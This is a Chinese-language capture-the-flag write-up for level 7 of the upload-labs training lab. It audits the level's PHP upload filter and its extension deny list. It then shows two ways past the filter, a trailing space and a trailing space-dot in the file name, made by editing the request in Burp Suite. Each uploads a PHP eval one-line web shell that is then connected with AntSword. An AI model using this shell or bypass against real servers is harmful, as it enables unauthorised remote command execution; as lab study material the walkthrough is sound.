upload-labs第七关教程
一、源代码分析
代码审计
php
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以发现对所有的可解析的文件后缀都进行了过滤,但是相对于前面的关卡来说,它少了一段$file_ext = trim($file_ext); 首尾去空的操作,所以是不是可以借助这个进行绕过?
二、绕过分析
1)空格绕过
上传eval.php文件
php
<?php @eval($_POST['cmd']); ?>
使用Burpsuite进行抓包修改
修改之前:
这里的filename为eval.php
修改之后:
这里的filename为eval.php 。
放包
上传成功
使用中国蚁剑进行连接
连接成功。
2)空格点绕过
上传eval.php
php
<?php @eval($_POST['cmd']); ?>
使用Burpsuite进行抓包修改
修改之前:
这里的filename为eval.php
修改之后:
这里的filename为eval.php.
使用中国蚁剑进行连接
连接成功
如果有问题的话,可以私信问我,这些纯粹是我自己的想法,如果有更好的可以私信我